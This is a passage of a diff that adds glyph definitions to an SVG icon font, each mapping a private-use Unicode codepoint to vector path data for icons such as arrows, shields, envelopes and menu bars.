+<glyph unicode="&#xf326;" d="M1100 1300h-151q-46 0 -89.5 -19.5t-69.5 -50.5l-90 270h-287l-239 -700h169l74 200h283v-400h-500q-82 0 -141 59t-59 141v700q0 82 59 141t141 59h700q82 0 141 -59t59 -141v-200zM651 1100h-202l100 293zM1000 1200h700q82 0 141 -59t59 -141v-700q0 -82 -59 -141 t-141 -59h-700q-82 0 -141 59t-59 141v700q0 82 59 141t141 59zM1725 700v108h-317v217h-116v-217h-317v-108h128q9 -66 42 -136t86 -126q-64 -26 -131.5 -44t-99.5 -18l5 -26q5 -26 10.5 -62t4.5 -58q62 0 154 32.5t174 82.5q83 -50 177 -82.5t157 -32.5q-1 14 1 33.5 t5 38.5t6 35.5t6 27.5l2 11q-33 0 -103 18.5t-135 44.5q51 56 83.5 126t41.5 135h136zM1344 507q-76 70 -101 193h209q-26 -124 -100 -193l-4 -3q-3 2 -4 3z" />
+<glyph unicode="&#xf327;" d="M1480 1812l334 -335q41 -44 40.5 -104t-37.5 -98l-986 -988l-686 -143l143 688q937 940 985 989q35 37 100 35t107 -44zM1143 1468l-688 -691l137 -137l682 697zM777 454l688 691l-132 132l-689 -689z" />
+<glyph unicode="&#xf328;" d="M700 1480q83 0 141.5 -58.5t58.5 -141.5q0 -52 -28 -100q-72 20 -172 20q-44 0 -87 -5t-64 -10l-21 -5q-28 48 -28 100q0 83 58.5 141.5t141.5 58.5zM1300 1480q83 0 141.5 -58.5t58.5 -141.5q0 -52 -28 -100q-72 20 -172 20q-44 0 -87 -5t-64 -10l-21 -5q-28 48 -28 100 q0 83 58.5 141.5t141.5 58.5zM1000 110q279 0 506 162t317 426l-132 46q-76 -222 -266.5 -358t-424.5 -136t-424.5 136t-266.5 358l-132 -46q90 -264 317 -426t506 -162z" />
+<glyph unicode="&#xf329;" d="M1500 1300v200h-1000v-200h1000zM1500 900v200h-1000v-200h1000zM1500 500v200h-1000v-200h1000z" />
+<glyph unicode="&#xf330;" d="M1600 1700h200v-1600h-1300q-124 0 -212 88t-88 212v1200q0 124 88 212t212 88h900v-1400h-900q-41 0 -70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5h1100v1400z" />
+<glyph unicode="&#xf331;" d="M500 300h1300v-200h-1300q-124 0 -212 88t-88 212v1200q0 124 88 212t212 88h1300v-1400h-1300q-41 0 -70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5zM700 650v1100q0 21 -14.5 35.5t-35.5 14.5t-35.5 -14.5t-14.5 -35.5v-1100q0 -21 14.5 -35.5t35.5 -14.5t35.5 14.5 t14.5 35.5z" />
+<glyph unicode="&#xf332;" d="M1000 1800q12 -8 34.5 -21.5t96 -48t150.5 -61t192 -48t227 -21.5q0 -224 -38.5 -423t-100.5 -336.5t-136.5 -252.5t-149 -184.5t-136.5 -117.5t-101 -67l-38 -19q-9 4 -24.5 11.5t-63.5 38.5t-94 68.5t-109 103.5t-117.5 141.5t-109.5 185t-94 231t-63.5 282.5 t-24.5 338q112 0 225.5 20.5t195 50t147 59t98.5 50.5zM1000 1000h500q4 4 11 13t24 48t30 90t24 144t11 205q-20 4 -54.5 11.5t-126 30t-167 45t-150 54t-102.5 59.5v-700h-500q28 -112 90 -225.5t130 -195t132 -147t106 -98.5l42 -34v700z" />
+<glyph unicode="&#xf333;" d="M1700 1300v200h-1400v-200h1400zM1700 900v200h-1400v-200h1400zM1700 500v200h-1400v-200h1400z" />
+<glyph unicode="&#xf334;" d="M1000 1800q12 -8 34.5 -21.5t96 -48t150.5 -61t192 -48t227 -21.5q0 -224 -38.5 -423t-100.5 -336.5t-136.5 -252.5t-149 -184.5t-136.5 -117.5t-101 -67l-38 -19q-9 4 -24.5 11.5t-63.5 38.5t-94 68.5t-109 103.5t-117.5 141.5t-109.5 185t-94 231t-63.5 282.5 t-24.5 338q112 0 225.5 20.5t195 50t147 59t98.5 50.5z" />
+<glyph unicode="&#xf335;" d="M1495 1354l-354 -354l354 -354l-141 -141l-354 353l-353 -353l-142 142l353 353l-353 353l142 142l353 -353l354 353z" />
+<glyph unicode="&#xf336;" d="M1800 400h-1600v1200h1600v-1200zM705 1147q19 11 33 24q14 16 24 34q13 26 17 37q5 13 10 34l6 24q0 2 0.5 5t0.5 4q7 45 -4 90q-12 43 -46 72q-35 29 -86 29q-29 0 -56 -11q-26 -12 -41 -30q-17 -20 -27 -44t-12 -51q-1 -18 1 -55l2 -9q2 -11 6 -25q9 -30 10 -33 q6 -18 17 -37q13 -20 25 -33q15 -17 34 -25q19 -9 43 -9t43 9zM1700 1100v400h-500v-400h500zM662 1017l-138 88q-61 0 -114 -32q-53 -33 -81 -85q-29 -52 -29 -107v-125l20 -5q26 -8 55 -14q41 -10 80 -17q34 -7 100 -14q55 -6 107 -6q50 0 107 6q48 5 98 14q54 10 82 17 q16 3 34 8t20 5q13 4 21 6v125q0 55 -31 107q-32 53 -84 86q-53 33 -111 33zM1700 900v100h-500v-100h500zM1700 700v100h-500v-100h500zM1700 500v100h-1400v-100h1400z" />
+<glyph unicode="&#xf337;" d="M1800 200h-1600v1600h1600v-1600zM805 1247q19 11 33 24q14 16 24 34q13 26 17 37q5 13 10 34l6 24q0 2 0.5 5t0.5 4q7 45 -4 90q-12 43 -46 72q-35 29 -86 29q-29 0 -56 -11q-26 -12 -41 -30q-17 -20 -27 -44t-12 -51q-1 -18 1 -55l2 -9q2 -11 6 -25q9 -30 10 -33 q6 -18 17 -37q13 -20 25 -33q15 -17 34 -25q19 -9 43 -9t43 9zM1600 1500v100h-500v-100h500zM1600 1300v100h-500v-100h500zM762 1117l-138 88q-61 0 -114 -32q-53 -33 -81 -85q-29 -52 -29 -107v-125l20 -5q26 -8 55 -14q41 -10 80 -17q34 -7 100 -14q56 -6 107 -6 q50 0 107 6q48 5 98 14q54 10 82 17q16 3 34 8t20 5q13 4 21 6v125q0 55 -31 107q-32 53 -84 86q-53 33 -111 33zM1600 1100v100h-300v-100h300zM1600 900v100h-300v-100h300zM1600 600v100h-1200v-100h1200zM1600 400v100h-1200v-100h1200z" />
+<glyph unicode="&#xf338;" d="M730 1400l-3 19q-6 55 -3 108q3 56 25 104q22 50 52 86q33 39 83 60q52 23 113 23q103 0 171 -59q69 -60 91 -144q22 -85 9 -178l-3 -19q-1 -10 -11 -48q-7 -33 -20 -69q-13 -34 -34 -72q-18 -35 -47 -69q-25 -26 -67 -48q-39 -19 -86 -19q-46 0 -87 19q-42 21 -67 50 q-25 28 -49 66q-22 36 -34 73q-14 39 -21 67q-9 33 -12 50zM1650 776q50 -85 50 -214v-249q0 -4 -29 -13q-7 -2 -37 -10.5t-60 -16.5q-110 -24 -165 -34q-85 -15 -195 -27q-112 -12 -213 -12t-214 12q-90 8 -198 27q-44 8 -156 34q-43 10 -106 29l-27 11v249q0 134 46 215 q65 115 150 168q47 29 136 42t168 13l167 -167l-67 -133v-300l102 -108l98 108v300l-68 133l165 167q209 0 290 -52q96 -61 163 -172z" />
+<glyph unicode="&#xf339;" d="M1000 1900q153 0 282.5 -75.5t205 -204.5t75.5 -282q0 -52 -21 -118t-50.5 -123.5t-59.5 -107.5t-51 -79l-21 -30q-25 -33 -42.5 -86t-17.5 -94v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-400q-41 0 -70.5 29.5t-29.5 70.5v100q0 41 -17.5 94t-42.5 86q-8 11 -21.5 30.5 t-48.5 77t-61.5 110.5t-48.5 120.5t-22 119.5q0 153 75 282t204.5 204.5t282.5 75.5zM700 313v87h600v-87q0 -53 -16 -83t-59 -30h-25q0 -46 -27.5 -73t-74.5 -27h-200q-46 0 -72 26.5t-26 73.5h-25q-43 0 -59 30t-16 83z" />
+<glyph unicode="&#xf340;" d="M1800 1100v-200h-1200l400 -400l-100 -200l-700 700l700 700l100 -200l-400 -400h1200z" />
+<glyph unicode="&#xf341;" d="M1400 1500l-500 -500l500 -500l-100 -200l-700 700l700 700z" />
+<glyph unicode="&#xf342;" d="M1100 200h-200v1200l-400 -400l-200 100l700 700l700 -700l-200 -100l-400 400v-1200z" />
+<glyph unicode="&#xf343;" d="M1500 600l-500 500l-500 -500l-200 100l700 700l700 -700z" />
+<glyph unicode="&#xf344;" d="M200 900v200h1200l-400 400l100 200l700 -700l-700 -700l-100 200l400 400h-1200z" />
+<glyph unicode="&#xf345;" d="M600 500l500 500l-500 500l100 200l700 -700l-700 -700z" />
+<glyph unicode="&#xf346;" d="M900 1800h200v-1200l400 400l200 -100l-700 -700l-700 700l200 100l400 -400v1200z" />
+<glyph unicode="&#xf347;" d="M500 1400l500 -500l500 500l200 -100l-700 -700l-700 700z" />
+<glyph unicode="&#xf348;" d="M1000 1800q163 0 311 -63.5t255 -170.5t170.5 -255t63.5 -311t-63.5 -311t-170.5 -255t-255 -170.5t-311 -63.5t-311 63.5t-255 170.5t-170.5 255t-63.5 311t63.5 311t170.5 255t255 170.5t311 63.5zM1100 1400q0 41 -29.5 70.5t-70.5 29.5t-70.5 -29.5t-29.5 -70.5 t29.5 -70.5t70.5 -29.5t70.5 29.5t29.5 70.5zM1100 500v600h-200v-600h200z" />
+<glyph unicode="&#xf349;" d="M2000 1500v300h-2000v-300h2000zM2000 900v300h-2000v-300h2000zM2000 300v300h-2000v-300h2000z" />
+<glyph unicode="&#xf448;" d="M1000 2000q163 0 315.5 -50.5t275.5 -143t215.5 -215.5t143 -275.5t50.5 -315.5t-50.5 -315.5t-143 -275.5t-215.5 -215.5t-275.5 -143t-315.5 -50.5t-315.5 50.5t-275.5 143t-215.5 215.5t-143 275.5t-50.5 315.5t50.5 315.5t143 275.5t215.5 215.5t275.5 143 t315.5 50.5zM1000 1950q-193 0 -369 -75t-303.5 -202.5t-202.5 -303.5t-75 -369t75 -369t202.5 -303.5t303.5 -202.5t369 -75t369 75t303.5 202.5t202.5 303.5t75 369t-75 369t-202.5 303.5t-303.5 202.5t-369 75zM1000 1850q173 0 330.5 -67t271.5 -181t181 -271.5 t67 -330.5t-67 -330.5t-181 -271.5t-271.5 -181t-330.5 -67t-330.5 67t-271.5 181t-181 271.5t-67 330.5t67 330.5t181 271.5t271.5 181t330.5 67zM1180 1679q-83 0 -155 -45q118 -28 195.5 -124t77.5 -221q0 -100 -55 -187q99 22 164 101.5t65 183.5q0 121 -85.5 206.5 t-206.5 85.5zM942 1579q-121 0 -206.5 -86t-85.5 -207t85.5 -206.5t206.5 -85.5t207 85.5t86 206.5q0 122 -85.5 207.5t-207.5 85.5zM1367 1078l-51 -59q66 -19 115 -63.5t72.5 -94t38 -96t16.5 -77.5l3 -30h128q0 76 -11 138.5t-29.5 104.5t-43 75t-51 51t-53 30.5 t-51 16.5t-43 5.5t-29.5 0.5zM1157 998l-212 -209l-212 209q-68 -4 -123 -23t-90.5 -48.5t-62.5 -67t-41 -78t-22 -81t-9.5 -76.5t-0.5 -63.5t3 -44.5l2 -16h1108q10 102 -4 184t-43 132.5t-67 88t-77.5 54.5t-73 27t-54.5 11z" />
+<glyph unicode="&#xf449;" d="M1350 1300h-700q-62 0 -106 44t-44 106t44 106t106 44h159q-9 29 -9 50q0 62 44 106t106 44h100q62 0 106 -44t44 -106q0 -21 -9 -50h159q62 0 106 -44t44 -106t-44 -106t-106 -44zM400 1200h1200q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-1200 q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM500 900h1000q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5zM700 600h600q41 0 70.5 -29.5t29.5 -70.5t-29.5 -70.5t-70.5 -29.5h-109q9 -29 9 -50 q0 -62 -44 -106t-106 -44h-100q-62 0 -106 44t-44 106q0 21 9 50h-109q-41 0 -70.5 29.5t-29.5 70.5t29.5 70.5t70.5 29.5z" />
+<glyph unicode="&#xf450;" d="M1044 1834q-44 44 -106 44t-106 -44l-566 -566q-44 -44 -44 -106t44 -106q46 -44 107.5 -43.5t104.5 43.5l566 566q44 44 44 106t-44 106zM1327 1551q-44 44 -106.5 44t-105.5 -44l-566 -566q-44 -43 -44 -105.5t44 -106.5q46 -44 107.5 -43t104.5 43l566 566 q43 43 43 105.5t-43 106.5zM1433 879l418 -418q44 -44 44 -106t-44 -106t-106.5 -44t-105.5 44l-418 418l-177 -177q-44 -44 -106 -44t-106 44t-44 106.5t44 106.5l566 565q44 44 106 44t106 -44t44 -106t-44 -106zM500 500q0 45 -17 102.5t-41.5 107.5t-49 94t-41.5 70 l-17 26q-15 -31 -37 -80.5t-59.5 -157.5t-37.5 -162q0 -90 38.5 -145t95.5 -55h32q62 0 98 44.5t36 155.5z" />
+<glyph unicode="&#xf451;" d="M1754 971q88 -88 88 -212.5t-88 -212.5t-212.5 -88t-212.5 88l-34 52q0 -66 -9.5 -124t-22.5 -99.5t-36.5 -79.5t-42.5 -60.5t-49.5 -47t-48 -35.5t-47.5 -28.5t-39 -23.5q-11 8 -49.5 32t-64.5 42t-63.5 58.5t-60.5 85.5t-40 118.5t-17 161.5l-34 -52 q-88 -88 -212.5 -88t-212.5 88t-88 212.5t88 212.5q102 67 210 130q-136 184 -136 411q0 47 8 100q18 -131 84 -245.5t168 -196.5q53 28 126.5 57t110.5 35h-17q-82 0 -141 59t-59 141t59 141t141 59v50q0 21 14.5 35.5t35.5 14.5t35.5 -14.5t14.5 -35.5v-50h200v50 q0 21 14.5 35.5t35.5 14.5t35.5 -14.5t14.5 -35.5v-50q82 0 141 -59t59 -141t-59 -141t-141 -59h-17q36 -6 112.5 -36.5t125.5 -55.5q102 82 168 196.5t84 245.5q8 -53 8 -100q0 -227 -136 -411q48 -28 100 -60.5t81 -50.5zM850 1362q38 0 69 30t31 70q0 41 -29.5 70.5 t-70.5 29.5t-70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5zM1150 1562q-41 0 -70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5t70.5 29.5t29.5 70.5t-29.5 70.5t-70.5 29.5zM920 989q-19 -17 -19 -43q2 -19 16 -32.5t33 -13.5h100q19 0 33 13.5t16 32.5q0 21 -19 43 q-15 11 -30 11h-100q-15 0 -30 -11zM1200 750q0 23 -19 38q-15 12 -31 12h-300q-16 0 -31 -12q-19 -17 -19 -38t14.5 -35.5t35.5 -14.5h300q21 0 35.5 14.5t14.5 35.5zM850 500h300q21 0 35.5 14.5t14.5 35.5t-14.5 35.5t-35.5 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5 t14.5 -35.5t35.5 -14.5zM950 300h100q21 0 35.5 14.5t14.5 35.5t-14.5 35.5t-35.5 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5t14.5 -35.5t35.5 -14.5z" />
+<glyph unicode="&#xf452;" d="M800 1900v-700h200v200q0 115 92 207.5t208 92.5v-86q91 86 200 86v-300h100q82 0 141 -59t59 -141t-59 -141t-141 -59h-100v-100v-1v-499q0 -41 -29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5v218q-51 -18 -100 -18v-200q0 -41 -29.5 -70.5t-70.5 -29.5t-70.5 29.5 t-29.5 70.5v200h-200v-200q0 -41 -29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5v200q-49 0 -100 18v-218q0 -41 -29.5 -70.5t-70.5 -29.5t-70.5 29.5t-29.5 70.5v400h-100v100q0 124 88 212t212 88h200v700h100zM1300 1200q41 0 70.5 29.5t29.5 70.5t-29.5 70.5 t-70.5 29.5t-70.5 -29.5t-29.5 -70.5t29.5 -70.5t70.5 -29.5z" />
+<glyph unicode="&#xf453;" d="M900 1700q0 92 -100 200q-40 -40 -70 -98t-30 -102q0 -37 30 -68.5t70 -31.5q41 0 70.5 30t29.5 70zM1300 1700q0 92 -100 200q-40 -40 -70 -98t-30 -102q0 -37 30 -68.5t70 -31.5q41 0 70.5 30t29.5 70zM900 1100v350q0 41 -29.5 70.5t-70.5 29.5q-42 0 -71 -30.5 t-29 -69.5v-350q0 -41 29.5 -70.5t70.5 -29.5q42 0 71 30.5t29 69.5zM1300 1100v350q0 41 -29.5 70.5t-70.5 29.5q-42 0 -71 -30.5t-29 -69.5v-350q0 -41 29.5 -70.5t70.5 -29.5q42 0 71 30.5t29 69.5zM1700 1000q0 109 -95 201t-255 145v-246q0 -62 -44 -106t-106 -44 t-106 44t-44 106v299q-8 0 -25 0.5t-25 0.5t-25 -0.5t-25 -0.5v-299q0 -62 -44 -106t-106 -44t-106 44t-44 106v246q-160 -53 -255 -145t-95 -201q0 -110 78.5 -197.5t242.5 -139.5q32 -10 108.5 -42t142.5 -51t128 -19t128 19t142.5 51.5t108.5 42.5q163 51 242 138.5 t79 197.5zM1000 457q63 0 131.5 19.5t144 50.5t112.5 41q68 19 118.5 43.5t86.5 57.5t57 59.5t50 71.5v-300q0 -109 -93.5 -201t-255 -145.5t-351.5 -53.5t-351.5 53.5t-255 145.5t-93.5 201v300q37 -58 70 -94.5t95.5 -75t149.5 -63.5q35 -10 111.5 -41t143.5 -50t130 -19z " />
+<glyph unicode="&#xf454;" d="M875 1423q0 39 -18 92t-43.5 101t-51.5 90.5t-44 67.5l-18 26q-7 -10 -19 -27t-42 -65.5t-53 -93t-42 -98.5t-19 -93q0 -98 43 -135.5t132 -37.5t132 37.5t43 135.5zM1475 1423q0 39 -18 92t-43.5 101t-51.5 90.5t-44 67.5l-18 26q-7 -10 -19 -27t-42 -65.5t-53 -93 t-42 -98.5t-19 -93q0 -98 43 -135.5t132 -37.5t132 37.5t43 135.5zM900 300v800q0 41 -29.5 70.5t-70.5 29.5h-200q-41 0 -70.5 -29.5t-29.5 -70.5v-800q0 -41 29.5 -70.5t70.5 -29.5h200q41 0 70.5 29.5t29.5 70.5zM1500 300v800q0 41 -29.5 70.5t-70.5 29.5h-200 q-41 0 -70.5 -29.5t-29.5 -70.5v-800q0 -41 29.5 -70.5t70.5 -29.5h200q41 0 70.5 29.5t29.5 70.5zM600 900l200 100v-200l-200 -100v200zM1200 900l200 100v-200l-200 -100v200zM600 600l200 100v-200l-200 -100v200zM1200 600l200 100v-200l-200 -100v200z" />
+<glyph unicode="&#xf455;" d="M1098 1322l452 -822q-48 -96 -142 -166t-199 -102t-209 -32t-209 32t-199 102t-142 166l450 818q-57 93 -168 146t-261 57l246 292q199 -141 297 -331q51 80 109.5 131t160.5 81l183 -286q-192 46 -369 -86zM817 960l-93 -169q71 -16 154 -16q199 0 355 95l-101 182 q-136 -83 -315 -92zM903 422q147 0 272 50t202 136l-98 176q-77 -86 -202 -136.5t-272 -50.5q-87 0 -176 21l-63 -115q152 -81 337 -81z" />
+<glyph unicode="&#xf456;" d="M1545 1375q89 -46 127.5 -130t22.5 -181t-80 -187q-59 -83 -159.5 -134.5t-186.5 -43.5l-264 -499h-105l-265 499q-85 -12 -189.5 40t-165.5 139q-64 90 -80 187t23 181t128 129q68 34 143 31q-2 -62 7 -121q20 -129 99.5 -252t186.5 -185q-30 -86 -88 -125l201 -381v566 q-102 28 -191.5 144t-108.5 248q-20 132 16 246t124 184t210 70t210 -70t124 -184t16 -246q-19 -132 -108.5 -248t-191.5 -144v-577l207 384q-63 33 -99 130q109 61 190 185.5t101 254.5q9 59 7 122q73 2 139 -32z" />
+<glyph unicode="&#xf457;" d="M1000 1800q84 0 197.5 -51.5t215 -125t191 -147t142.5 -124.5l54 -52v-1100h-1600v1100q20 20 55.5 54t138 120t196.5 152t210 120t200 54zM1700 328l-373 292l373 280l-43 37l-226 -130l24 431l-877 52l-46 -454l-199 95l-33 -31l373 -280l-344 -285l40 -43l631 408 l653 -415z" />
+<glyph unicode="&#xf459;" d="M1000 1900l-300 -600l-600 -75l413 -462l-113 -663l600 300l600 -300l-112 663l412 462l-600 75zM1000 1676l234 -469l465 -58l-318 -356l87 -515l-468 234v1164z" />
+<glyph unicode="&#xf460;" d="M400 1100h1200v-200h-1200v200z" />
+<glyph unicode="&#xf462;" d="M925 836q88 -62 123 -128t35 -165q0 -62 -30 -119.5t-84.5 -104t-140 -74t-189.5 -27.5q-126 0 -231 31.5t-168.5 93t-63.5 140.5q0 128 130 226.5t314 98.5q14 0 40 0.5t38 0.5q-61 61 -61 126q0 43 23 86q-8 -1 -22 0.5t-20 1.5q-151 0 -247.5 97t-96.5 237 q0 87 55.5 166.5t147 128t190.5 48.5h452l-101 -100h-144q83 -87 103 -116q43 -63 43 -144q0 -135 -128 -234q-53 -42 -69.5 -67t-16.5 -62q0 -28 39.5 -70.5t79.5 -70.5zM683 1063q88 -3 139 76t36 194q-15 114 -87 195t-160 84q-88 2 -139 -75t-36 -191q15 -115 87.5 -198 t159.5 -85zM1700 1000v-100h-200v-200h-100v200h-200v100h200v200h100v-200h200zM638 290q172 0 250 63.5t78 170.5q0 22 -5 47q-4 16 -10.5 29.5t-18 27.5t-20.5 23.5t-28 24t-29.5 21.5t-36.5 25t-38 26q-56 18 -112 18q-131 2 -230 -68.5t-99 -166.5q0 -100 85.5 -170.5 t213.5 -70.5z" />
+<glyph unicode="&#xf463;" d="M1020 1672q173 0 323.5 -79t247.5 -216t121 -305h208l-350 -400l-350 400h232q-34 149 -154.5 247t-277.5 98q-106 0 -199 -48t-155 -130l-171 195q98 112 234.5 175t290.5 63zM980 328q-130 0 -249.5 46.5t-210.5 126.5t-152.5 190.5t-79.5 236.5h-208l350 400 q59 -67 175.5 -200t174.5 -200h-232q34 -149 154.5 -247t277.5 -98q106 0 199 48t155 130l171 -195q-98 -112 -234 -175t-291 -63z" />
+<glyph unicode="&#xf464;" d="M1389 1661l271 -272q34 -35 33.5 -84t-30.5 -80l-801 -802l-556 -116l116 558q760 763 799 803q29 30 81.5 28.5t86.5 -35.5zM1116 1382l-559 -561l111 -111l554 565zM819 559l558 560l-107 108l-559 -560z" />
+<glyph unicode="&#xf465;" d="M387 1600h1325q188 0 188 -179v-842q0 -179 -188 -179h-1325q-188 0 -188 179v842q0 179 188 179zM1049 740l674 553q21 17 27 45.5t-14 61.5q-21 30 -56.5 33.5t-60.5 -16.5l-570 -386l-569 386q-25 20 -60.5 16.5t-56.5 -33.5q-20 -33 -14 -61.5t27 -45.5z" />
+<glyph unicode="&#xf466;" d="M1900 550v900q0 62 -44 106t-106 44h-1401q-62 0 -106 -44t-44 -106v-900q0 -62 44 -106t106 -44h1401q62 0 106 44t44 106zM1769 1461q15 -15 17.5 -32.5t-4 -29.5t-16.5 -22l-406 -372l390 -406q26 -30 6 -51q-9 -11 -28 -12t-28 7l-437 373l-214 -195l-213 195 l-437 -373q-9 -8 -28 -7t-28 12q-20 21 6 51l390 406l-406 372q-10 10 -16.5 22t-4 29.5t17.5 32.5q40 40 95 -7l624 -504l625 504q55 47 95 7z" />
+<glyph unicode="&#xf467;" d="M1801 882v867q0 89 -59 129.5t-141 7.5l-1201 -477q-83 -33 -141.5 -120t-58.5 -177v-866q0 -90 58.5 -130t141.5 -7l1201 477q83 33 141.5 119.5t58.5 176.5zM1658 1628l-604 -933l-665 460q-7 5 -13 12.5t-10.5 22t6.5 29.5q9 16 25.5 21.5t28.5 2.5l11 -3l630 -232 q483 634 511 670q12 15 30 20.5t43 -7.5q33 -23 7 -63z" />
+<glyph unicode="&#xf468;" d="M1800 1000q0 163 -63.5 311t-170.5 255t-255 170.5t-311 63.5t-311 -63.5t-255 -170.5t-170.5 -255t-63.5 -311t63.5 -311t170.5 -255t255 -170.5t311 -63.5t311 63.5t255 170.5t170.5 255t63.5 311zM723 1643l149 -373q-97 -45 -142 -142l-373 149q53 123 148 218 t218 148zM1643 1277l-373 -149q-45 97 -142 142l149 373q123 -53 218 -148t148 -218zM1000 800q-82 0 -141 59t-59 141t59 141t141 59t141 -59t59 -141t-59 -141t-141 -59zM357 723l373 149q45 -97 142 -142l-149 -373q-123 53 -218 148t-148 218zM1277 357l-149 373 q97 45 142 142l373 -149q-53 -123 -148 -218t-218 -148z" />
+<glyph unicode="&#xf469;" d="M1000 1800q163 0 311 -63.5t255 -170.5t170.5 -255t63.5 -311t-63.5 -311t-170.5 -255t-255 -170.5t-311 -63.5t-311 63.5t-255 170.5t-170.5 255t-63.5 311t63.5 311t170.5 255t255 170.5t311 63.5zM1000 400q163 0 301 80.5t218.5 218.5t80.5 301t-80.5 301 t-218.5 218.5t-301 80.5t-301 -80.5t-218.5 -218.5t-80.5 -301t80.5 -301t218.5 -218.5t301 -80.5zM929 929q14 -10 23 -15l-2 -2l450 -212l-303 319l-97 481l-97 -481h1q0 -1 -2 -9t-2 -10q0 -42 29 -71z" />
+<glyph unicode="&#xf470;" d="M600 1800h800q41 0 70.5 -29.5t29.5 -70.5v-1400q0 -41 -29.5 -70.5t-70.5 -29.5h-800q-41 0 -70.5 29.5t-29.5 70.5v1400q0 41 29.5 70.5t70.5 29.5zM1300 600v1000h-600v-1000h600zM800 1500h400l-400 -500v500z" />
+<glyph unicode="&#xf471;" d="M400 1800h1200q41 0 70.5 -29.5t29.5 -70.5v-1400q0 -41 -29.5 -70.5t-70.5 -29.5h-1200q-41 0 -70.5 29.5t-29.5 70.5v1400q0 41 29.5 70.5t70.5 29.5zM1500 400v1200h-1000v-1200h1000zM600 1500h600l-600 -500v500z" />
+<glyph unicode="&#xf472;" d="M300 1800h1400q41 0 70.5 -29.5t29.5 -70.5v-1000q0 -41 -29.5 -70.5t-70.5 -29.5h-500v-200h200q41 0 70.5 -29.5t29.5 -70.5v-100h-1000v100q0 41 29.5 70.5t70.5 29.5h200v200h-500q-41 0 -70.5 29.5t-29.5 70.5v1000q0 41 29.5 70.5t70.5 29.5zM1600 900v700h-1200 v-700h1200zM500 1500h900l-900 -400v400z" />
+<glyph unicode="&#xf473;" d="M400 1700h1200q82 0 141 -59t59 -141v-700q0 -82 -59 -141t-141 -59h-100l-500 -500v500h-600q-82 0 -141 59t-59 141v700q0 82 59 141t141 59zM1500 1500h-1100v-100h1100v100zM1600 1200h-1200v-100h1200v100zM1300 900h-900v-100h900v100z" />
+<glyph unicode="&#xf474;" d="M1600 1600h200v-900h-1100v-300l-500 400l500 400v-300h900v700z" />
+<glyph unicode="&#xf475;" d="M900 1400l-400 -400l400 -400l-100 -200l-600 600l600 600zM1100 600l400 400l-400 400l100 200l600 -600l-600 -600z" />
+<glyph unicode="&#xf476;" d="M1500 1800h-746q-124 0 -228 -60q-105 -62 -165 -165q-61 -103 -61 -227t61 -227q60 -104 165 -164q103 -61 228 -61h43v-596q0 -40 29 -71q31 -29 71 -29t71 29q30 30 30 71v1200q0 42 29 71q31 29 71 29t71 -29q29 -31 29 -71v-1200q0 -41 30 -71q31 -29 71 -29t71 29 q29 31 29 71v1300h101q40 0 70 30q30 28 30 70q0 41 -30 71q-31 29 -70 29z" />
+<glyph unicode="&#xf477;" d="M1000 1800q162 0 310.5 -63.5t255.5 -170.5t170.5 -255.5t63.5 -310.5t-63.5 -310.5t-170.5 -255.5t-255.5 -170.5t-310.5 -63.5t-310.5 63.5t-255.5 170.5t-170.5 255.5t-63.5 310.5t63.5 310.5t170.5 255.5t255.5 170.5t310.5 63.5zM1000 250q153 0 291.5 59.5t239 160 t160 239t59.5 291.5t-59.5 291.5t-160 239t-239 160t-291.5 59.5t-291.5 -59.5t-239 -160t-160 -239t-59.5 -291.5q0 -223 122 -410q41 -61 95 -117q104 -105 242 -164t291 -59zM1000 1674q137 0 262 -53.5t215 -143.5t143.5 -215t53.5 -262t-53.5 -262t-143.5 -215 t-215 -143.5t-262 -53.5q-206 0 -374 113q78 4 151 42t126 99q20 -58 80 -100t151 -42q130 0 240.5 88t136.5 212q29 127 -28 213t-182 86q-45 0 -96 -21t-90 -52l104 479q2 14 -3.5 21.5t-18.5 3.5q-56 -15 -227 -32q-18 -2 -24.5 -17t2 -29t26.5 -13q22 1 34.5 -1 t20.5 -10.5t10 -20t-1 -34.5t-8.5 -50t-14.5 -70q-1 -3 -1 -4l-54 -243q-57 93 -186 93q-46 0 -96.5 -21t-89.5 -52q100 461 103 479q3 13 -2.5 21t-18.5 4q-42 -11 -179 -26q94 109 226.5 170.5t282.5 61.5zM441 1377h6q26 1 39.5 -3t20.5 -15.5t5.5 -32.5t-8 -54.5 t-17.5 -81.5q-1 -2 -1 -3l-101 -463q-59 130 -59 276q0 207 115 377zM853 738q-23 -104 -82.5 -172t-143.5 -68q-55 0 -89 41t-17 116l34 167q15 64 69.5 107t114.5 43q82 0 109.5 -65t4.5 -169zM1380 738q-22 -104 -82 -172t-144 -68q-55 0 -89 41t-17 116l35 167 q15 64 69 107t114 43q82 0 109.5 -65t4.5 -169z" />
+<glyph unicode="&#xf478;" d="M1800 1700v-200h-1600v200h1600zM1200 1300v-200h-1000v200h1000zM1800 1300v-200h-400v200h400zM800 900v-200h-600v200h600zM1800 900v-200h-800v200h800zM1400 500v-200h-1200v200h1200z" />
+<glyph unicode="&#xf479;" d="M1100 1700v-400h-1000v400h1000zM1900 1700v-400h-700v400h700zM700 1200v-300h-600v300h600zM1900 1200v-300h-1100v300h1100zM900 800v-200h-800v200h800zM1900 800v-200h-900v200h900zM600 500v-100h-500v100h500zM1100 500v-100h-400v100h400zM1400 500v-100h-200 v100h200zM1900 500v-100h-400v100h400z" />
+<glyph unicode="&#xf480;" d="M1900 1600v-200h-1800v200h1800zM200 1300h1600v-1000h-1600v1000zM1300 1000v100h-600v-100h600z" />
